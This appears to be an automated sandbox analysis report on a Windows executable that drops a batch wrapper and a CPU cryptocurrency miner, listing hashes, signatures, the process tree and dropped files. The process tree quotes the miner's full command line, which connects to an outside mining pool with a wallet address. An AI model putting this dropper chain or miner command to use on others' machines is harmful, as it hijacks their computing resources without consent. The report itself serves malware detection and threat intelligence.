73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
295s
platform
windows10-1703_x64
resource
win10-20231215-ja
resource tags

arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
13/02/2024, 17:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
2324	b2e.exe
3200	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
3200	cpuminer-sse2.exe
3200	cpuminer-sse2.exe
3200	cpuminer-sse2.exe
3200	cpuminer-sse2.exe
3200	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/4700-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 2324	4700	batexe.exe	75
PID 4700 wrote to memory of 2324	4700	batexe.exe	75
PID 4700 wrote to memory of 2324	4700	batexe.exe	75
PID 2324 wrote to memory of 4660	2324	b2e.exe	76
PID 2324 wrote to memory of 4660	2324	b2e.exe	76
PID 2324 wrote to memory of 4660	2324	b2e.exe	76
PID 4660 wrote to memory of 3200	4660	cmd.exe	79
PID 4660 wrote to memory of 3200	4660	cmd.exe	79

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9923.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4660
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:3200

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe

Filesize
8.6MB

MD5
0f605997417906386ca259c1935cf7b4

SHA1
285ba9fc6b51c8151c711e257de259c70aae8258

SHA256
b3c498dcb662cf1d68c057cdddcabb55a107f40cf4e9f4dd2c02449c8aa9e41a

SHA512
6f09ff3f4586f4dc93c6e7182b3a000e294c4517df7ae1518e78392bdaa747fb6da9cfb30af4cf15fa8e262737c264669b919f29e51e12a4e3b32ad8dfe73134

Download Submit
C:\Users\Admin\AppData\Local\Temp\977D.tmp\b2e.exe

Filesize
11.4MB

MD5
b40e811a29f68309a74fc07c5e9558ed

SHA1
174f66d6b571f8ffa429f47124ab9f46ae423b50

SHA256
33afba0a15dfb194efd40e5ec7bc1f219736328c2c92129a41dc5512c2ae11e7

SHA512
524301b604a2a4fd3c7af5f7de0080a67599e3bbccc93fa235fb0fc7b893339ec154d75ad041c072d69acc4a8ef9890b5b2b62a1dd0450aca3dc525a2a2ce031

Download Submit
C:\Users\Admin\AppData\Local\Temp\9923.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.2MB

MD5
b96a8f7183ace6c5d8b851cfccac3464

SHA1
63e8fcca1db70eb2d4a540ef1e9577962c83e21c

SHA256
2197868f21a6aa32cd974e97c1d6921fc46281357d07265c7344d3bdbc8ca660

SHA512
e22db5a94396e47fd7711fe54c56310eb1eff028fe1ebe8d8e04c4957ac17e61e3bf3f57707801796652a1cd794bfd594d8e643928911f5585baabc099562c8e

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
3f0a108f0fb4ae6bb4ebc3af60127b2b

SHA1
67b7a31cf1d98791152a7bf0d044cb82853ec5a5

SHA256
40c81ce8fb69d16aa33043d67b52301e0811b6962839b7c38a5625ca3fb89d5a

SHA512
07cd7a2b1a8814ef4b2221793475a2b99bd133e59f258c85819f6ab9de924f9f69df77cd8d878a4d5df3f5653c71394ebe9aa80b47787c01df571a469e7ceda9

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.3MB

MD5
03a3dcca2d1b508876d97e8e1f90eb3f

SHA1
1db86e1ad022a325fe0e9bae82035b7662524455

SHA256
98483938fdce25a2bf30390810e0846debfa8a74bde15904644e87af00bd5bd2

SHA512
7c3fffff6715b299fe4b727894e9fd8060a75604eaae238b7b8ca672acfe74c42d852d328130645c14221d3f002f30a884442d20db360dbe7ba4e1fea296de67

Download Submit
memory/2324-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2324-5-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3200-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-42-0x0000000074790000-0x0000000074828000-memory.dmp

Filesize
608KB

Download
memory/3200-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/3200-44-0x0000000001090000-0x0000000002945000-memory.dmp

Filesize
24.7MB

Download
memory/3200-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/3200-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3200-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4700-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download